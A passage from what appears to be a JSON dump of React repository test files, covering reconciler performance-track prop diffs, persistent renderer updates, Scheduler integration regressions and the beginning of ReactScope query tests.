Scheduler.unstable_advanceTime(10000);\n    }\n\n    await act(() => {\n      ReactNoop.render(\n        <>\n          <Left value={1} />\n          <Right />\n        </>,\n      );\n    });\n\n    expect(performanceMeasureCalls).toEqual([\n      [\n        'Mount',\n        {\n          detail: {\n            devtools: {\n              color: 'warning',\n              properties: null,\n              tooltipText: 'Mount',\n              track: 'Components ⚛',\n            },\n          },\n          end: 5000,\n          start: 0,\n        },\n      ],\n      [\n        'Mount',\n        {\n          detail: {\n            devtools: {\n              color: 'warning',\n              properties: null,\n              tooltipText: 'Mount',\n              track: 'Components ⚛',\n            },\n          },\n          end: 15000,\n          start: 5000,\n        },\n      ],\n    ]);\n    performanceMeasureCalls.length = 0;\n    getConsoleTimestampEntries();\n\n    Scheduler.unstable_advanceTime(1000);\n\n    await act(() => {\n      ReactNoop.render(\n        <>\n          <Left value={2} />\n          <Right />\n        </>,\n      );\n    });\n\n    expect(performanceMeasureCalls).toEqual([\n      [\n        '​Left',\n        {\n          detail: {\n            devtools: {\n              color: 'error',\n              properties: [\n                ['Changed Props', ''],\n                ['- value', '1'],\n                ['+ value', '2'],\n              ],\n              tooltipText: 'Left',\n              track: 'Components ⚛',\n            },\n          },\n          end: 21000,\n          start: 16000,\n        },\n      ],\n    ]);\n    expect(getConsoleTimestampEntries()).toEqual([\n      ['Render', 16000, 31000, 'Blocking', 'Scheduler ⚛', 'primary-dark'],\n      ['Right', 21000, 31000, 'Components ⚛', undefined, 'error'],\n    ]);\n    performanceMeasureCalls.length = 0;\n  });\n\n  // @gate __DEV__ && enableComponentPerformanceTrack\n  it('can handle bigint in arrays', async () => {\n    const App = function App({numbers}) {\n      Scheduler.unstable_advanceTime(10);\n      React.useEffect(() => {}, [numbers]);\n    };\n\n    Scheduler.unstable_advanceTime(1);\n    await act(() => {\n      ReactNoop.render(\n        <App\n          data={{\n            deeply: {\n              nested: {\n                numbers: [1n],\n              },\n            },\n          }}\n        />,\n      );\n    });\n\n    expect(performanceMeasureCalls).toEqual([\n      [\n        'Mount',\n        {\n          detail: {\n            devtools: {\n              color: 'warning',\n              properties: null,\n              tooltipText: 'Mount',\n              track: 'Components ⚛',\n            },\n          },\n          end: 11,\n          start: 1,\n        },\n      ],\n    ]);\n    performanceMeasureCalls.length = 0;\n\n    Scheduler.unstable_advanceTime(10);\n\n    await act(() => {\n      ReactNoop.render(\n        <App\n          data={{\n            deeply: {\n              nested: {\n                numbers: [2n],\n              },\n            },\n          }}\n        />,\n      );\n    });\n\n    expect(performanceMeasureCalls).toEqual([\n      [\n        '​App',\n        {\n          detail: {\n            devtools: {\n              color: 'primary-dark',\n              properties: [\n                ['Changed Props', ''],\n                ['  data', ''],\n                ['    deeply', ''],\n                ['      nested', ''],\n                ['-       numbers', 'Array'],\n                ['+       numbers', 'Array'],\n              ],\n              tooltipText: 'App',\n              track: 'Components ⚛',\n            },\n          },\n          end: 31,\n          start: 21,\n        },\n      ],\n    ]);\n  });\n\n  // @gate __DEV__ && enableComponentPerformanceTrack\n  it('diffs HTML-like objects', async () => {\n    const App = function App({container}) {\n      Scheduler.unstable_advanceTime(10);\n      React.useEffect(() => {}, [container]);\n    };\n\n    class Window {}\n    const createOpaqueOriginWindow = () => {\n      return new Proxy(new Window(), {\n        get(target, prop) {\n          if (prop === Symbol.toStringTag) {\n            return target[Symbol.toStringTag];\n          }\n          // Some properties are allowed if JS itself is accessign those e.g.\n          // Symbol.toStringTag.\n          // Just make sure React isn't accessing arbitrary properties.\n          throw new Error(\n            `Failed to read named property '${String(prop)}' from Window`,\n          );\n        },\n      });\n    };\n\n    class OpaqueOriginHTMLIFrameElement {\n      constructor(textContent) {\n        this.textContent = textContent;\n      }\n      contentWindow = createOpaqueOriginWindow();\n      nodeType = 1;\n      [Symbol.toStringTag] = 'HTMLIFrameElement';\n    }\n\n    Scheduler.unstable_advanceTime(1);\n    await act(() => {\n      ReactNoop.render(\n        <App\n          container={new OpaqueOriginHTMLIFrameElement('foo')}\n          contentWindow={createOpaqueOriginWindow()}\n        />,\n      );\n    });\n\n    expect(performanceMeasureCalls).toEqual([\n      [\n        'Mount',\n        {\n          detail: {\n            devtools: {\n              color: 'warning',\n              properties: null,\n              tooltipText: 'Mount',\n              track: 'Components ⚛',\n            },\n          },\n          end: 11,\n          start: 1,\n        },\n      ],\n    ]);\n    performanceMeasureCalls.length = 0;\n\n    Scheduler.unstable_advanceTime(10);\n\n    await act(() => {\n      ReactNoop.render(\n        <App\n          container={new OpaqueOriginHTMLIFrameElement('bar')}\n          contentWindow={createOpaqueOriginWindow()}\n        />,\n      );\n    });\n\n    expect(performanceMeasureCalls).toEqual([\n      [\n        '​App',\n        {\n          detail: {\n            devtools: {\n              color: 'primary-dark',\n              properties: [\n                ['Changed Props', ''],\n                ['- container', 'HTMLIFrameElement'],\n                ['-   contentWindow', 'Window'],\n                ['-   nodeType', '1'],\n                ['-   textContent', '\"foo\"'],\n                ['+ container', 'HTMLIFrameElement'],\n                ['+   contentWindow', 'Window'],\n                ['+   nodeType', '1'],\n                ['+   textContent', '\"bar\"'],\n                [\n                  '  contentWindow',\n                  'Referentially unequal but deeply equal objects. Consider memoization.',\n                ],\n              ],\n              tooltipText: 'App',\n              track: 'Components ⚛',\n            },\n          },\n          end: 31,\n          start: 21,\n        },\n      ],\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactPersistent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoopPersistent;\n\nlet act;\nlet waitForAll;\n\ndescribe('ReactPersistent', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoopPersistent = require('react-noop-renderer/persistent');\n    ({act, waitForAll} = require('internal-test-utils'));\n  });\n\n  // Inlined from shared folder so we can run this test on a bundle.\n  function createPortal(children, containerInfo, implementation, key) {\n    return {\n      $$typeof: Symbol.for('react.portal'),\n      key: key == null ? null : String(key),\n      children,\n      containerInfo,\n      implementation,\n    };\n  }\n\n  function render(element) {\n    ReactNoopPersistent.render(element);\n  }\n\n  function div(...children) {\n    children = children.map(c =>\n      typeof c === 'string' ? {text: c, hidden: false} : c,\n    );\n    return {type: 'div', children, prop: undefined, hidden: false};\n  }\n\n  function span(prop) {\n    return {type: 'span', children: [], prop, hidden: false};\n  }\n\n  // For persistent renderers we have to mix deep equality and reference equality checks\n  //  for which we need the actual children.\n  //  None of the tests are gated and the underlying implementation is rarely touch\n  //  so it's unlikely we deal with failing `toEqual` checks which cause bad performance.\n  function dangerouslyGetChildren() {\n    return ReactNoopPersistent.dangerouslyGetChildren();\n  }\n\n  it('can update child nodes of a host instance', async () => {\n    function Bar(props) {\n      return <span>{props.text}</span>;\n    }\n\n    function Foo(props) {\n      return (\n        <div>\n          <Bar text={props.text} />\n          {props.text === 'World' ? <Bar text={props.text} /> : null}\n        </div>\n      );\n    }\n\n    render(<Foo text=\"Hello\" />);\n    await waitForAll([]);\n    const originalChildren = dangerouslyGetChildren();\n    expect(originalChildren).toEqual([div(span())]);\n\n    render(<Foo text=\"World\" />);\n    await waitForAll([]);\n    const newChildren = dangerouslyGetChildren();\n    expect(newChildren).toEqual([div(span(), span())]);\n\n    expect(originalChildren).toEqual([div(span())]);\n  });\n\n  it('can reuse child nodes between updates', async () => {\n    function Baz(props) {\n      return <span prop={props.text} />;\n    }\n    class Bar extends React.Component {\n      shouldComponentUpdate(newProps) {\n        return false;\n      }\n      render() {\n        return <Baz text={this.props.text} />;\n      }\n    }\n    function Foo(props) {\n      return (\n        <div>\n          <Bar text={props.text} />\n          {props.text === 'World' ? <Bar text={props.text} /> : null}\n        </div>\n      );\n    }\n\n    render(<Foo text=\"Hello\" />);\n    await waitForAll([]);\n    const originalChildren = dangerouslyGetChildren();\n    expect(originalChildren).toEqual([div(span('Hello'))]);\n\n    render(<Foo text=\"World\" />);\n    await waitForAll([]);\n    const newChildren = dangerouslyGetChildren();\n    expect(newChildren).toEqual([div(span('Hello'), span('World'))]);\n\n    expect(originalChildren).toEqual([div(span('Hello'))]);\n\n    // Reused node should have reference equality\n    expect(newChildren[0].children[0]).toBe(originalChildren[0].children[0]);\n  });\n\n  it('can update child text nodes', async () => {\n    function Foo(props) {\n      return (\n        <div>\n          {props.text}\n          <span />\n        </div>\n      );\n    }\n\n    render(<Foo text=\"Hello\" />);\n    await waitForAll([]);\n    const originalChildren = dangerouslyGetChildren();\n    expect(originalChildren).toEqual([div('Hello', span())]);\n\n    render(<Foo text=\"World\" />);\n    await waitForAll([]);\n    const newChildren = dangerouslyGetChildren();\n    expect(newChildren).toEqual([div('World', span())]);\n\n    expect(originalChildren).toEqual([div('Hello', span())]);\n  });\n\n  it('supports portals', async () => {\n    function Parent(props) {\n      return <div>{props.children}</div>;\n    }\n\n    function BailoutSpan() {\n      return <span />;\n    }\n\n    class BailoutTest extends React.Component {\n      shouldComponentUpdate() {\n        return false;\n      }\n      render() {\n        return <BailoutSpan />;\n      }\n    }\n\n    function Child(props) {\n      return (\n        <div>\n          <BailoutTest />\n          {props.children}\n        </div>\n      );\n    }\n    const portalContainer = {rootID: 'persistent-portal-test', children: []};\n    const emptyPortalChildSet = portalContainer.children;\n    render(<Parent>{createPortal(<Child />, portalContainer, null)}</Parent>);\n    await waitForAll([]);\n\n    expect(emptyPortalChildSet).toEqual([]);\n\n    const originalChildren = dangerouslyGetChildren();\n    expect(originalChildren).toEqual([div()]);\n    const originalPortalChildren = portalContainer.children;\n    expect(originalPortalChildren).toEqual([div(span())]);\n\n    render(\n      <Parent>\n        {createPortal(<Child>Hello {'World'}</Child>, portalContainer, null)}\n      </Parent>,\n    );\n    await waitForAll([]);\n\n    const newChildren = dangerouslyGetChildren();\n    expect(newChildren).toEqual([div()]);\n    const newPortalChildren = portalContainer.children;\n    expect(newPortalChildren).toEqual([div(span(), 'Hello ', 'World')]);\n\n    expect(originalChildren).toEqual([div()]);\n    expect(originalPortalChildren).toEqual([div(span())]);\n\n    // Reused portal children should have reference equality\n    expect(newPortalChildren[0].children[0]).toBe(\n      originalPortalChildren[0].children[0],\n    );\n\n    // Deleting the Portal, should clear its children\n    render(<Parent />);\n    await waitForAll([]);\n\n    const clearedPortalChildren = portalContainer.children;\n    expect(clearedPortalChildren).toEqual([]);\n\n    // The original is unchanged.\n    expect(newPortalChildren).toEqual([div(span(), 'Hello ', 'World')]);\n  });\n\n  it('remove children', async () => {\n    function Wrapper({children}) {\n      return children;\n    }\n\n    const root = ReactNoopPersistent.createRoot();\n    await act(() => {\n      root.render(\n        <Wrapper>\n          <inner />\n        </Wrapper>,\n      );\n    });\n    expect(root.getChildrenAsJSX()).toEqual(<inner />);\n\n    await act(() => {\n      root.render(<Wrapper />);\n    });\n    expect(root.getChildrenAsJSX()).toEqual(null);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactPersistentUpdatesMinimalism-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoopPersistent;\nlet act;\n\ndescribe('ReactPersistentUpdatesMinimalism', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactNoopPersistent = require('react-noop-renderer/persistent');\n    act = require('internal-test-utils').act;\n  });\n\n  it('should render a simple component', async () => {\n    function Child() {\n      return <div>Hello World</div>;\n    }\n\n    function Parent() {\n      return <Child />;\n    }\n\n    ReactNoopPersistent.startTrackingHostCounters();\n    await act(() => ReactNoopPersistent.render(<Parent />));\n    expect(ReactNoopPersistent.stopTrackingHostCounters()).toEqual({\n      hostCloneCounter: 0,\n    });\n\n    ReactNoopPersistent.startTrackingHostCounters();\n    await act(() => ReactNoopPersistent.render(<Parent />));\n    expect(ReactNoopPersistent.stopTrackingHostCounters()).toEqual({\n      hostCloneCounter: 1,\n    });\n  });\n\n  it('should not diff referentially equal host elements', async () => {\n    function Leaf(props) {\n      return (\n        <span>\n          hello\n          <b />\n          {props.name}\n        </span>\n      );\n    }\n\n    const constEl = (\n      <div>\n        <Leaf name=\"world\" />\n      </div>\n    );\n\n    function Child() {\n      return constEl;\n    }\n\n    function Parent() {\n      return <Child />;\n    }\n\n    ReactNoopPersistent.startTrackingHostCounters();\n    await act(() => ReactNoopPersistent.render(<Parent />));\n    expect(ReactNoopPersistent.stopTrackingHostCounters()).toEqual({\n      hostCloneCounter: 0,\n    });\n\n    ReactNoopPersistent.startTrackingHostCounters();\n    await act(() => ReactNoopPersistent.render(<Parent />));\n    expect(ReactNoopPersistent.stopTrackingHostCounters()).toEqual({\n      hostCloneCounter: 0,\n    });\n  });\n\n  it('should not diff parents of setState targets', async () => {\n    let childInst;\n\n    function Leaf(props) {\n      return (\n        <span>\n          hello\n          <b />\n          {props.name}\n        </span>\n      );\n    }\n\n    class Child extends React.Component {\n      state = {name: 'Batman'};\n      render() {\n        childInst = this;\n        return (\n          <div>\n            <Leaf name={this.state.name} />\n          </div>\n        );\n      }\n    }\n\n    function Parent() {\n      return (\n        <section>\n          <div>\n            <Leaf name=\"world\" />\n            <Child />\n            <hr />\n            <Leaf name=\"world\" />\n          </div>\n        </section>\n      );\n    }\n\n    ReactNoopPersistent.startTrackingHostCounters();\n    await act(() => ReactNoopPersistent.render(<Parent />));\n    expect(ReactNoopPersistent.stopTrackingHostCounters()).toEqual({\n      hostCloneCounter: 0,\n    });\n\n    ReactNoopPersistent.startTrackingHostCounters();\n    await act(() => childInst.setState({name: 'Robin'}));\n    expect(ReactNoopPersistent.stopTrackingHostCounters()).toEqual({\n      // section\n      // section > div\n      // section > div > Child > div\n      // section > div > Child > Leaf > span\n      // section > div > Child > Leaf > span > b\n      hostCloneCounter: 5,\n    });\n\n    ReactNoopPersistent.startTrackingHostCounters();\n    await act(() => ReactNoopPersistent.render(<Parent />));\n    expect(ReactNoopPersistent.stopTrackingHostCounters()).toEqual({\n      // Parent > section\n      // Parent > section > div\n      // Parent > section > div > Leaf > span\n      // Parent > section > div > Leaf > span > b\n      // Parent > section > div > Child > div\n      // Parent > section > div > Child > div > Leaf > span\n      // Parent > section > div > Child > div > Leaf > span > b\n      // Parent > section > div > hr\n      // Parent > section > div > Leaf > span\n      // Parent > section > div > Leaf > span > b\n      hostCloneCounter: 10,\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactSchedulerIntegration-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet NormalPriority;\nlet IdlePriority;\nlet runWithPriority;\nlet startTransition;\nlet waitForAll;\nlet waitForPaint;\nlet assertLog;\nlet waitFor;\n\ndescribe('ReactSchedulerIntegration', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    NormalPriority = Scheduler.unstable_NormalPriority;\n    IdlePriority = Scheduler.unstable_IdlePriority;\n    runWithPriority = Scheduler.unstable_runWithPriority;\n    startTransition = React.startTransition;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitForPaint = InternalTestUtils.waitForPaint;\n    assertLog = InternalTestUtils.assertLog;\n    waitFor = InternalTestUtils.waitFor;\n  });\n\n  // Note: This is based on a similar component we use in www. We can delete\n  // once the extra div wrapper is no longer necessary.\n  function LegacyHiddenDiv({children, mode}) {\n    return (\n      <div hidden={mode === 'hidden'}>\n        <React.unstable_LegacyHidden\n          mode={mode === 'hidden' ? 'unstable-defer-without-hiding' : mode}>\n          {children}\n        </React.unstable_LegacyHidden>\n      </div>\n    );\n  }\n\n  it('passive effects are called before Normal-pri scheduled in layout effects', async () => {\n    const {useEffect, useLayoutEffect} = React;\n    function Effects({step}) {\n      useLayoutEffect(() => {\n        Scheduler.log('Layout Effect');\n        Scheduler.unstable_scheduleCallback(NormalPriority, () =>\n          Scheduler.log('Scheduled Normal Callback from Layout Effect'),\n        );\n      });\n      useEffect(() => {\n        Scheduler.log('Passive Effect');\n      });\n      return null;\n    }\n    function CleanupEffect() {\n      useLayoutEffect(() => () => {\n        Scheduler.log('Cleanup Layout Effect');\n        Scheduler.unstable_scheduleCallback(NormalPriority, () =>\n          Scheduler.log('Scheduled Normal Callback from Cleanup Layout Effect'),\n        );\n      });\n      return null;\n    }\n    await act(() => {\n      ReactNoop.render(<CleanupEffect />);\n    });\n    assertLog([]);\n    await act(() => {\n      ReactNoop.render(<Effects />);\n    });\n    assertLog([\n      'Cleanup Layout Effect',\n      'Layout Effect',\n      'Passive Effect',\n      // These callbacks should be scheduled after the passive effects.\n      'Scheduled Normal Callback from Cleanup Layout Effect',\n      'Scheduled Normal Callback from Layout Effect',\n    ]);\n  });\n\n  it('requests a paint after committing', async () => {\n    const scheduleCallback = Scheduler.unstable_scheduleCallback;\n\n    const root = ReactNoop.createRoot();\n    root.render('Initial');\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput('Initial');\n\n    scheduleCallback(NormalPriority, () => Scheduler.log('A'));\n    scheduleCallback(NormalPriority, () => Scheduler.log('B'));\n    scheduleCallback(NormalPriority, () => Scheduler.log('C'));\n\n    // Schedule a React render. React will request a paint after committing it.\n    React.startTransition(() => {\n      root.render('Update');\n    });\n\n    // Perform just a little bit of work. By now, the React task will have\n    // already been scheduled, behind A, B, and C.\n    await waitFor(['A']);\n\n    // Schedule some additional tasks. These won't fire until after the React\n    // update has finished.\n    scheduleCallback(NormalPriority, () => Scheduler.log('D'));\n    scheduleCallback(NormalPriority, () => Scheduler.log('E'));\n\n    // Flush everything up to the next paint. Should yield after the\n    // React commit.\n    await waitForPaint(['B', 'C']);\n    expect(root).toMatchRenderedOutput('Update');\n\n    // Now flush the rest of the work.\n    await waitForAll(['D', 'E']);\n  });\n\n  // @gate enableLegacyHidden\n  it('idle updates are not blocked by offscreen work', async () => {\n    function Text({text}) {\n      Scheduler.log(text);\n      return text;\n    }\n\n    function App({label}) {\n      return (\n        <>\n          <Text text={`Visible: ` + label} />\n          <LegacyHiddenDiv mode=\"hidden\">\n            <Text text={`Hidden: ` + label} />\n          </LegacyHiddenDiv>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      root.render(<App label=\"A\" />);\n\n      // Commit the visible content\n      await waitForPaint(['Visible: A']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          Visible: A\n          <div hidden={true} />\n        </>,\n      );\n\n      // Before the hidden content has a chance to render, schedule an\n      // idle update\n      runWithPriority(IdlePriority, () => {\n        root.render(<App label=\"B\" />);\n      });\n\n      // The next commit should only include the visible content\n      await waitForPaint(['Visible: B']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          Visible: B\n          <div hidden={true} />\n        </>,\n      );\n    });\n\n    // The hidden content commits later\n    assertLog(['Hidden: B']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        Visible: B<div hidden={true}>Hidden: B</div>\n      </>,\n    );\n  });\n});\n\ndescribe(\n  'regression test: does not infinite loop if `shouldYield` returns ' +\n    'true after a partial tree expires',\n  () => {\n    let logDuringShouldYield = false;\n\n    beforeEach(() => {\n      jest.resetModules();\n\n      jest.mock('scheduler', () => {\n        const actual = jest.requireActual('scheduler/unstable_mock');\n        return {\n          ...actual,\n          unstable_shouldYield() {\n            if (logDuringShouldYield) {\n              actual.log('shouldYield');\n            }\n            return actual.unstable_shouldYield();\n          },\n        };\n      });\n\n      React = require('react');\n      ReactNoop = require('react-noop-renderer');\n      Scheduler = require('scheduler');\n      startTransition = React.startTransition;\n\n      const InternalTestUtils = require('internal-test-utils');\n      waitForAll = InternalTestUtils.waitForAll;\n      waitForPaint = InternalTestUtils.waitForPaint;\n      assertLog = InternalTestUtils.assertLog;\n      waitFor = InternalTestUtils.waitFor;\n      act = InternalTestUtils.act;\n    });\n\n    afterEach(() => {\n      jest.mock('scheduler', () =>\n        jest.requireActual('scheduler/unstable_mock'),\n      );\n    });\n\n    it('using public APIs to trigger real world scenario', async () => {\n      // This test reproduces a case where React's Scheduler task timed out but\n      // the `shouldYield` method returned true. The bug was that React fell\n      // into an infinite loop, because it would enter the work loop then\n      // immediately yield back to Scheduler.\n      //\n      // (The next test in this suite covers the same case. The difference is\n      // that this test only uses public APIs, whereas the next test mocks\n      // `shouldYield` to check when it is called.)\n      function Text({text}) {\n        return text;\n      }\n\n      function App({step}) {\n        return (\n          <>\n            <Text text=\"A\" />\n            <TriggerErstwhileSchedulerBug />\n            <Text text=\"B\" />\n            <TriggerErstwhileSchedulerBug />\n            <Text text=\"C\" />\n          </>\n        );\n      }\n\n      function TriggerErstwhileSchedulerBug() {\n        // This triggers a once-upon-a-time bug in Scheduler that caused\n        // `shouldYield` to return true even though the current task expired.\n        Scheduler.unstable_advanceTime(10000);\n        Scheduler.unstable_requestPaint();\n        return null;\n      }\n\n      await act(async () => {\n        ReactNoop.render(<App />);\n        await waitForPaint([]);\n        await waitForPaint([]);\n      });\n    });\n\n    it('mock Scheduler module to check if `shouldYield` is called', async () => {\n      // This test reproduces a bug where React's Scheduler task timed out but\n      // the `shouldYield` method returned true. Usually we try not to mock\n      // internal methods, but I've made an exception here since the point is\n      // specifically to test that React is resilient to the behavior of a\n      // Scheduler API. That being said, feel free to rewrite or delete this\n      // test if/when the API changes.\n      function Text({text}) {\n        Scheduler.log(text);\n        return text;\n      }\n\n      function App({step}) {\n        return (\n          <>\n            <Text text=\"A\" />\n            <Text text=\"B\" />\n            <Text text=\"C\" />\n          </>\n        );\n      }\n\n      await act(async () => {\n        // Partially render the tree, then yield\n        startTransition(() => {\n          ReactNoop.render(<App />);\n        });\n        await waitFor(['A']);\n\n        // Start logging whenever shouldYield is called\n        logDuringShouldYield = true;\n        // Let's call it once to confirm the mock actually works\n        await waitFor(['shouldYield']);\n\n        // Expire the task\n        Scheduler.unstable_advanceTime(10000);\n        // Scheduling a new update is a trick to force the expiration to kick\n        // in. We don't check if a update has been starved at the beginning of\n        // working on it, since there's no point — we're already working on it.\n        // We only check before yielding to the main thread (to avoid starvation\n        // by other main thread work) or when receiving an update (to avoid\n        // starvation by incoming updates).\n        startTransition(() => {\n          ReactNoop.render(<App />);\n        });\n        // Because the render expired, React should finish the tree without\n        // consulting `shouldYield` again\n        await waitFor(['B', 'C']);\n      });\n    });\n  },\n);\n\ndescribe('`act` bypasses Scheduler methods completely,', () => {\n  let infiniteLoopGuard;\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    infiniteLoopGuard = 0;\n\n    jest.mock('scheduler', () => {\n      const actual = jest.requireActual('scheduler/unstable_mock');\n      return {\n        ...actual,\n        unstable_shouldYield() {\n          // This simulates a bug report where `shouldYield` returns true in a\n          // unit testing environment. Because `act` will keep working until\n          // there's no more work left, it would fall into an infinite loop.\n          // The fix is that when performing work inside `act`, we should bypass\n          // `shouldYield` completely, because we can't trust it to be correct.\n          if (infiniteLoopGuard++ > 100) {\n            throw new Error('Detected an infinite loop');\n          }\n          return true;\n        },\n      };\n    });\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    startTransition = React.startTransition;\n  });\n\n  afterEach(() => {\n    jest.mock('scheduler', () => jest.requireActual('scheduler/unstable_mock'));\n  });\n\n  // @gate __DEV__\n  it('inside `act`, does not call `shouldYield`, even during a concurrent render', async () => {\n    function App() {\n      return (\n        <>\n          <div>A</div>\n          <div>B</div>\n          <div>C</div>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    const publicAct = React.act;\n    const prevIsReactActEnvironment = global.IS_REACT_ACT_ENVIRONMENT;\n    try {\n      global.IS_REACT_ACT_ENVIRONMENT = true;\n      await publicAct(async () => {\n        startTransition(() => root.render(<App />));\n      });\n    } finally {\n      global.IS_REACT_ACT_ENVIRONMENT = prevIsReactActEnvironment;\n    }\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>A</div>\n        <div>B</div>\n        <div>C</div>\n      </>,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactScope-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactFeatureFlags;\nlet ReactDOMServer;\nlet act;\n\ndescribe('ReactScope', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    ReactFeatureFlags = require('shared/ReactFeatureFlags');\n    ReactFeatureFlags.enableScopeAPI = true;\n    React = require('react');\n\n    const InternalTestUtils = require('internal-test-utils');\n    act = InternalTestUtils.act;\n  });\n\n  describe('ReactDOM', () => {\n    let ReactDOMClient;\n    let container;\n\n    beforeEach(() => {\n      ReactDOMClient = require('react-dom/client');\n      ReactDOMServer = require('react-dom/server');\n      container = document.createElement('div');\n      document.body.appendChild(container);\n    });\n\n    afterEach(() => {\n      document.body.removeChild(container);\n      container = null;\n    });\n\n    // @gate enableScopeAPI\n    it('DO_NOT_USE_queryAllNodes() works as intended', async () => {\n      const testScopeQuery = (type, props) => true;\n      const TestScope = React.unstable_Scope;\n      const scopeRef = React.createRef();\n      const divRef = React.createRef();\n      const spanRef = React.createRef();\n      const aRef = React.createRef();\n\n      function Test({toggle}) {\n        return toggle ? (\n          <TestScope ref={scopeRef}>\n            <div ref={divRef}>DIV</div>\n            <span ref={spanRef}>SPAN</span>\n            <a ref={aRef}>A</a>\n          </TestScope>\n        ) : (\n          <TestScope ref={scopeRef}>\n            <a ref={aRef}>A</a>\n            <div ref={divRef}>DIV</div>\n            <span ref={spanRef}>SPAN</span>\n          </TestScope>\n        );\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Test toggle={true} />);\n      });\n\n      let nodes = scopeRef.current.DO_NOT_USE_queryAllNodes(testScopeQuery);\n      expect(nodes).toEqual([divRef.current, spanRef.current, aRef.current]);\n      await act(() => {\n        root.render(<Test toggle={false} />);\n      });\n\n      nodes = scopeRef.current.DO_NOT_USE_queryAllNodes(testScopeQuery);\n      expect(nodes).toEqual([aRef.current, divRef.current, spanRef.current]);\n      await act(() => {\n        root.render(null);\n      });\n\n      expect(scopeRef.current).toBe(null);\n    });\n\n    // @gate enableScopeAPI\n    it('DO_NOT_USE_queryAllNodes() provides the correct host instance', async () => {\n      const testScopeQuery = (type, props) => type === 'div';\n      const TestScope = React.unstable_Scope;\n      const scopeRef = React.createRef();\n      const divRef = React.createRef();\n      const spanRef = React.createRef();\n      const aRef = React.createRef();\n\n      function Test({toggle}) {\n        return toggle ? (\n          <TestScope ref={scopeRef}>\n            <div ref={divRef}>DIV</div>\n            <span ref={spanRef}>SPAN</span>\n            <a ref={aRef}>A</a>\n          </TestScope>\n        ) : (\n          <TestScope ref={scopeRef}>\n            <a ref={aRef}>A</a>\n            <div ref={divRef}>DIV</div>\n            <span ref={spanRef}>SPAN</span>\n          </TestScope>\n        );\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Test toggle={true} />);\n      });\n\n      let nodes = scopeRef.current.DO_NOT_USE_queryAllNodes(testScopeQuery);\n      expect(nodes).toEqual([divRef.current]);\n      let filterQuery = (type, props, instance) =>\n        instance === spanRef.current || testScopeQuery(type, props);\n      nodes = scopeRef.current.DO_NOT_USE_queryAllNodes(filterQuery);\n      expect(nodes).toEqual([divRef.current, spanRef.current]);\n      filterQuery = (type, props, instance) =>\n        [spanRef.current, aRef.current].includes(instance) ||\n        testScopeQuery(type, props);\n      nodes = scopeRef.current.DO_NOT_USE_queryAllNodes(filterQuery);\n      expect(nodes).toEqual([divRef.current, spanRef.current, aRef.current]);\n      await act(() => {\n        root.render(<Test toggle={false} />);\n      });\n\n      filterQuery = (type, props, instance) =>\n        [spanRef.current, aRef.current].includes(instance) ||\n        testScopeQuery(type, props);\n      nodes = scopeRef.current.DO_NOT_USE_queryAllNodes(filterQuery);\n      expect(nodes).toEqual([aRef.current, divRef.current, spanRef.current]);\n      await act(() => {\n        root.render(null);\n      });\n\n      expect(scopeRef.current).toBe(null);\n    });\n\n    // @gate enableScopeAPI\n    it('DO_NOT_USE_queryFirstNode() works as intended', async () => {\n      const testScopeQuery = (type, props) => true;\n      const TestScope = React.unstable_Scope;\n      const scopeRef = React.createRef();\n      const divRef = React.createRef();\n      const spanRef = React.createRef();\n      const aRef = React.createRef();\n\n      function Test({toggle}) {\n        return toggle ? (\n          <TestScope ref={scopeRef}>\n            <div ref={divRef}>DIV</div>\n            <span ref={spanRef}>SPAN</span>\n            <a ref={aRef}>A</a>\n          </TestScope>\n        ) : (\n          <TestScope ref={scopeRef}>\n            <a ref={aRef}>A</a>\n            <div ref={divRef}>DIV</div>\n            <span ref={spanRef}>SPAN</span>\n          </TestScope>\n        );\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Test toggle={true} />);\n      });\n\n      let node = scopeRef.current.DO_NOT_USE_queryFirstNode(testScopeQuery);\n      expect(node).toEqual(divRef.current);\n      await act(() => {\n        root.render(<Test toggle={false} />);\n      });\n\n      node = scopeRef.current.DO_NOT_USE_queryFirstNode(testScopeQuery);\n      